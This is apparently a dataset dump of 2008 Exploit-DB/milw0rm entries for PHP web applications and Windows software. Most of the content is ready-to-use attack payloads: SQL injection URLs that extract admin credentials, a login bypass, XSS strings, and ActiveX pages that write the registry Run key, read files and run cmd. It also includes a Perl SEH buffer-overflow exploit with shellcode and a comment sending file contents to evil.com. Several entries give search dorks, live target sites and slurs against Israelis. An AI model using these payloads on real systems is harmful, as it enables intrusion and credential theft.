QLWD/code_shield huggingface dataset:
标题: Spice Classifieds - 'cat_path' SQL Injection EDB-ID: 6354 CVE: 2008-4039 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-03 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script      : Spice Classifieds

<<->> script site : www.classifieds-scripts.com/spice                  



=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/patch/index.php?cat_path=-99999+union+select+0,user(),2,3/*





=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                                        anaconda-ksa $ sirus $ crazy-x $ br1ght-dark  $ colden-zero
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-03] URL: https://www.exploit-db.com/exploits/6354
标题: Coupon Script 4.0 - 'id' SQL Injection EDB-ID: 6348 CVE: 2008-4090 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: |___________________________________________________|
|
| Coupon Script 4.0 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author:  Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  WwW.tryag.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.couponscript.com/
|
| DorK   :  inurl:couponsite/index.php?page=
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?page=addtocart&id=-170/**/union/**/select/**/database(),user(),version(),user(),database(),6,7,user(),9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24/*




L!VE DEMO:
_________


http://couponscript.com/couponsite/index.php?page=addtocart&id=-170/**/union/**/select/**/database(),user(),version(),user(),database(),6,7,user(),9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24/*







____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-09-02] URL: https://www.exploit-db.com/exploits/6348
标题: AJ HYIP ACME - 'readarticle.php' SQL Injection EDB-ID: 6351 CVE: 2008-4044 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-02 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection ++++++++++++++
=======================================================


<<->> script      : aj-hyip

<<->> script site : www.ajhyip.com/demo/meridian                     
                            : www.ajhyip.com/demo/acme
                            : www.ajhyip.com/demo/prime


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>

 <!> for admin inf0 ::: 

     >>>> www.site.me/patch/article/readarticle.php?artid=-9999999+union+select+0,1,2,3,concat(username,0x3a,admin_password),5,6,7,8+from+admin/*                     


 <!> for members inf0 ::: 

     >>>> www.site.me/patch/article/readarticle.php?artid=-9999999+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8+from+members/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                                        anaconda-ksa $ sirus $ crazy-x $ br1ght-dark  $ colden-zero
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-02] URL: https://www.exploit-db.com/exploits/6351
标题: CMSbright - 'id_rub_page' SQL Injection EDB-ID: 6343 CVE: 2008-6991 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-01 漏洞利用脚本: -------------------------------------------
Script  :  CMSbright ..
 
site     :  http://www.cmsbright.com/
 
Author :  BorN To K!LL
 
Dork    :  powered by CMSbright Â© websens
-------------------------------------------
 
Exploit   :
 
public/page.php?id_rub_page=[SQL]
 
Example :
 
public/page.php?id_rub_page=-9990+union+all+select+concat(version(),database(),user()),2,3,4--
 
-------------------------------------------  
Greets :
 
Dr.2  ,  General C  ,  CcTero0liTi  ,  GolD_M .. & all my friends ..
 
-------------------------------------------

# milw0rm.com [2008-09-01] URL: https://www.exploit-db.com/exploits/6343
标题: EasyClassifields 3.0 - 'go' SQL Injection EDB-ID: 6342 CVE: 2008-4084 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-01 漏洞利用脚本: ##############EasyClassifields v3.0 SQL Injection#######################

####By:     e.wiZz!
####Info:   Bosnian Idiot FTW!
####Site:  infected.blogger.ba
####Greetz:   Luigi,suN8Hclf,str0ke
In the wild...

##################################################################

###Script Site: http://myiosoft.com/?1.6.0.0
###Vulnerability:

http://www.inthewild.xxx/path/index.php?PageSection=x&page=browse&go=<sql>

PoC on demo site:

http://myiosoft.com/products/EasyClassifields/demo/staticpages/easyclassifields/index.php?PageSection=0&page=browse&go=-1%20union%20select%20all%20concat(0x3a,version(),0x3a,user(),0x3a,0x3a,database()),2%20from%20mysql.user

# milw0rm.com [2008-09-01] URL: https://www.exploit-db.com/exploits/6342
标题: Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC) EDB-ID: 6330 CVE: 2008-1083 类型: DOS 平台: WINDOWS 发布日期: 2008-08-29 漏洞利用脚本: CreateDIBPatternBrushPt Heap Overflow DOS
By Ac!dDrop



This was tested on


Windows XP Sp2
GDI32.dll 5.1.2600.3099
Internet explorer 6.0.2900.2180



------
Causes Explorer.exe to crash.
and causes Internet explorer to close silently.

------

This is work in progress , i am still trying to make it run arbitary code.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6330.rar (2008-EMF_DOS.rar)

# milw0rm.com [2008-08-29] URL: https://www.exploit-db.com/exploits/6330
标题: webid 0.5.4 - Multiple Vulnerabilities EDB-ID: 6339 CVE: 2008-7118 2008-7117 2008-7116 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-31 漏洞利用脚本: ||          ||   | ||       
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                 ( :   /    (_)    /           (   .
                   ================================
                      ==========================
                         ====================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|



Application :: WeBid v0.5.4  Multi Exploit

Found By :: Fisher762 [ SQ7@w.cn ]

 Groups   : InjEctOr5


 
Download :: http://www.sourceforge.net/projects/simpleauction
 
Dork 1 ::   :P 

###########################[[[[EXPL0!T]]]]]#################################


[Bybpass]




Go to admin pannel


http://[Targ3t]/[webid]/admin/




username=  ' or 1=1/*

password= ass u like :)


__________________________________________________________________________


[ edit index css ]



u can edit  style css file [style.css]


http://[Targ3t]/webid/eledicss.php?nid=0&cd=themes/default&file=style.css


eX: http://www.fondoempleados.com/eledicss.php?nid=0&cd=themes/default&file=style.css



__________________________________________________________________________


[ view all Site SQL quires]




u can see all SQL quires 



http://[Targ3t]/webid/logs/cron.log


eX: http://www.hardlyeverwornit.com//logs/cron.log


###########################[[[[Th3 End]]]]]#################################

# milw0rm.com [2008-08-31] URL: https://www.exploit-db.com/exploits/6339
标题: WeBid 0.5.4 - 'item.php' SQL Injection EDB-ID: 6341 CVE: 2008-7119 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-01 漏洞利用脚本: Application :: WeBid v0.5.4  sql injection vuln
Download :: http://www.sourceforge.net/projects/simpleauction
Found By ::Stack
http://www.site.il/item.php?id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*

# milw0rm.com [2008-09-01] URL: https://www.exploit-db.com/exploits/6341
标题: Words tag script 1.2 - 'word' SQL Injection EDB-ID: 6336 CVE: 2008-3945 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-31 漏洞利用脚本: |___________________________________________________|
|
| Words tag script v1.2 (word) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://sourceworkshop.com/advanced_scripts/index.php?id=5
|
| DorK   : "Powered by words tag script"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?command=claim&word=-401+union+select+concat_ws(user(),version(),database())+config_variables--






L!VE DEMO:
_________


http://words.sourceworkshop.com/index.php?command=claim&word=-401+union+select+concat_ws(user(),version(),database())+config_variables--


________________________

table_name : column_name

config_variables:variable_name
config_variables:value
config_variables:id
config_variables:title
config_variables:text
config_variables:description
_______________________


____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-08-31] URL: https://www.exploit-db.com/exploits/6336
标题: Friendly Technologies - Read/Write Registry/Read Files EDB-ID: 6334 CVE: 2008-4050 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-30 漏洞利用脚本: <!-- 
Proof of Concept...
Read write to registry
and also read files

More codes at irc.nix.co.il/#binaryvision !
-->

<html>
<title>Friendly Technologies - Read/Write Registry</title>
<object classid="clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B" id='FT'></object>

<script language='Javascript'>
// Write to Registry
FT.RegistryValue (1, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "Key Name Here", 1) = "Input Here";

// Read from Registry
var readreg = FT.RegistryValue (1, "SOFTWARE\\Friendly Technologies\\FriendlyWeb Dialer", "Version", 1);
alert(readreg);

// Read from file
var readme=FT.GetTextFile("c:\\boot.ini");
alert(readme); // <img src="http://evil.com/postfiles.php?input="+readme ...
</script>

# milw0rm.com [2008-08-30] URL: https://www.exploit-db.com/exploits/6334
标题: Brim 2.0.0 - SQL Injection / Cross-Site Scripting EDB-ID: 6332 CVE: 2008-4083 2008-4082 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-30 漏洞利用脚本: ||          ||   | ||       
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   . 
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

<<!>> Found by :  Fisher762
<<!>> C0ntact  : SQ7@W.CN
                  
<<!>> Groups   : InjEctOr5

=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================

<<->> script    :  Brim 2.0
 
<<->> Demo site : http://sourceforge.net/project/showfiles.php?group_id=129562

=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================

<<->> D0rk    : :)
<<->> Exploit :

[SQL]

First register new acc0unt :

http://[targ3t]/brim/signup.php

then go to  y0ur email and active the acc0unt and login
 
 

after that  G0 t0 y0ur Plugins and active Tasks plugin
 
http://[Targ3t]/brim/PluginController.php
 
and finnaly go t0 search url:

http://[Targ3t]/brim/index.php?plugin=tasks&action=search
 
and insert this query in any field:

' union select 1,2,3,4,concat(loginname,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17 from brim_users/*
 
*******************************************************************************************************

[xss]
 
First active Bookmarks Plugin and add new action and in the name field insert:
 
>"><script>alert("InjEctOr Team5")</script>
 
 
 
 
 
##############################################################

#Gr33tz T0: Broken-security, providor , ÅžÅ·ÑÄ¯Äƒn Ä¦Î»Ã§ÐŒÎ£r  ,Sp!der_N3T and all my friends :)

# milw0rm.com [2008-08-30] URL: https://www.exploit-db.com/exploits/6332
标题: Web Directory Script 1.5.3 - 'site' SQL Injection EDB-ID: 6335 CVE: 2008-4091 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-31 漏洞利用脚本: |___________________________________________________|
|
| Web directory script v1.5.3 (site) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://sourceworkshop.com/advanced_scripts/web_directory_script.html
|
| DorK   : "Powered by web directory script"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




L!VE DEMO:
_________


http://links.sourceworkshop.com/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




admin login

admin/index.php


____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-08-31] URL: https://www.exploit-db.com/exploits/6335
标题: Acoustica MP3 CD Burner 4.51 Build 147 - '.asx' Local Buffer Overflow EDB-ID: 6329 CVE: 2007-3006 类型: LOCAL 平台: WINDOWS 发布日期: 2008-08-29 漏洞利用脚本: #!/usr/bin/perl
#
# Acoustica MP3 CD Burner (asx file) Local BOF Exploit
# Author: Koshi
#
# Date: 08-29-08 ( 0day )
# Application: Acoustica MP3 CD Burner
# Version: 4.51 Build 147 ( possibly older )
# Site: http://acoustica.com/download.htm
# Tested On: Windows XP SP3 Fully Patched
#
# Based off of n00b's findings http://www.milw0rm.com/exploits/4017
# gr33tz: Rima my baby, str0ke, n00b ( nice find )


# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66".
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x76\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x49\x79\x4b\x4c\x4d".
"\x38\x43\x74\x67\x70\x63\x30\x67\x70\x4c\x4b\x41\x55\x37\x4c\x6c".
"\x4b\x41\x6c\x73\x35\x53\x48\x64\x41\x4a\x4f\x6c\x4b\x70\x4f\x67".
"\x68\x6c\x4b\x41\x4f\x57\x50\x45\x51\x5a\x4b\x53\x79\x4e\x6b\x74".
"\x74\x6c\x4b\x76\x61\x38\x6e\x64\x71\x59\x50\x6e\x79\x4e\x4c\x6b".
"\x34\x79\x50\x63\x44\x73\x37\x4a\x61\x69\x5a\x44\x4d\x76\x61\x6b".
"\x72\x7a\x4b\x4b\x44\x35\x6b\x50\x54\x77\x54\x65\x54\x71\x65\x4d".
"\x35\x6e\x6b\x61\x4f\x64\x64\x65\x51\x7a\x4b\x63\x56\x4c\x4b\x56".
"\x6c\x50\x4b\x4e\x6b\x43\x6f\x47\x6c\x65\x51\x6a\x4b\x6c\x4b\x55".
"\x4c\x6c\x4b\x64\x41\x68\x6b\x6d\x59\x63\x6c\x45\x74\x75\x54\x59".
"\x53\x36\x51\x4b\x70\x71\x74\x6e\x6b\x67\x30\x30\x30\x6f\x75\x6b".
"\x70\x30\x78\x64\x4c\x4c\x4b\x37\x30\x44\x4c\x6e\x6b\x54\x30\x47".
"\x6c\x6e\x4d\x6e\x6b\x53\x58\x75\x58\x6a\x4b\x76\x69\x4e\x6b\x6b".
"\x30\x6c\x70\x37\x70\x47\x70\x35\x50\x4c\x4b\x50\x68\x57\x4c\x51".
"\x4f\x35\x61\x6c\x36\x63\x50\x52\x76\x4f\x79\x6c\x38\x6b\x33\x6f".
"\x30\x31\x6b\x36\x30\x33\x58\x73\x4e\x69\x48\x6b\x52\x44\x33\x55".
"\x38\x6d\x48\x4b\x4e\x4d\x5a\x74\x4e\x50\x57\x4b\x4f\x48\x67\x71".
"\x73\x62\x41\x32\x4c\x45\x33\x56\x4e\x55\x35\x61\x68\x31\x75\x75".
"\x50\x66";

my $bof = "A"x480;
my $led = "\x90"x35;
my $fill = "\x90"x150;
my $buff = "".
    "$bof".
    "\xeb\x06\x90\x90". ### Pointer to next SEH record      ###
    "\x65\x82\x19\x01". ### SE handler wmaengine.dll POP POP RET 0x01198265 ###
    "$led".
    "$shellcode".
    "$fill";

my $tuff = "".
    "<ASX VERSION\=\x22\x33\x2e\x30\x22\x3e\n".
    "<ENTRY>\n".
    "<TITLE>Acoustica MP3 CD Burner Local BOF Exploit</TITLE>\n".
    "<REF HREF=\x22$buff.asf\x22\x2f\x3e\n".
    "</ENTRY>\n</ASX>\n";

open (MYFILE, '>>Exploit.asx');
binmode(MYFILE);
print MYFILE "$tuff";
close (MYFILE);
print "Exploit file has been created. ( Exploit.asx )\n";

# milw0rm.com [2008-08-29] URL: https://www.exploit-db.com/exploits/6329
标题: myPHPNuke < 1.8.8_8rc2 - Cross-Site Scripting / SQL Injection EDB-ID: 6338 CVE: 2008-4089 2008-4088 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-31 漏洞利用脚本: ############################################################

Cross-Site Scripting and SQL Injection vulnerabilities in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2391/

Description: There are Cross-Site Scripting and SQL Injection vulnerabilities in print.php in myPHPNuke.

XSS:

http://site/print.php?sid=%3CBODY%20onload=alert(document.cookie)%3E

SQL Injection:

http://site/print.php?sid=-1%20union%20select%20null,null,aid,pwd,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the additional filters were added, so it is not vulnerable to these XSS and SQL Injection attacks. But version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL Injection attack is possible (without using spaces and brackets).

############################################################ 

# milw0rm.com [2008-08-31] URL: https://www.exploit-db.com/exploits/6338
标题: Friendly Technologies - 'fwRemoteCfg.dll' ActiveX Command Execution EDB-ID: 6324 CVE: 2008-4049 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-28 漏洞利用脚本: <!--
In addition to the overflow found in the "Friendly Technologies" dialers ActiveX,
Here is a "remote command execution" exploit.
Its so sad people dont actually Think...

Greetz to Binaryvision
======================
- http://www.binaryvision.org.il/
-- irc.nix.co.il/#binaryvision
--- written by spdr.
-->

<html>
<object classid='clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B' id='lamers' ></object>
<script language='vbscript'>

lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0 

</script>

# milw0rm.com [2008-08-28] URL: https://www.exploit-db.com/exploits/6324